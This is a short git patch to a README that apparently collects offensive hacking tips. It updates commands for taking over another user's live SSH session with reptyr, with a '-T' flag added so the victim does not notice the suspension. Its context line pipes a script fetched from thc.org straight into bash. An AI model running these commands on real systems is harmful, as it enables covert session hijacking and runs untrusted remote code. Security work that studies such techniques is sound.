From 7c4128327a87f300f6121ffcb982814017cc5c3c Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Tue, 10 Oct 2023 16:26:14 +0100 Subject: [PATCH] Update README.md --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index edcd059..2dcc7c8 100644 --- a/README.md +++ b/README.md @@ -1646,9 +1646,10 @@ bash -c "$(curl -fsSL https://thc.org/ssh-it/x)" Use [https://github.com/nelhage/reptyr](https://github.com/nelhage/reptyr) to take over an existing SSH session: ```sh -ps alxww | grep ssh -./reptyr -### or: ./reptyr $(pidof -s ssh) +ps ax -o pid,ppid,cmd | grep 'ssh ' +./reptyr -T +### or: ./reptyr -T $(pidof -s ssh) +### Must use '-T' or otherwise the original user will see that his SSH process gets suspended. ``` ---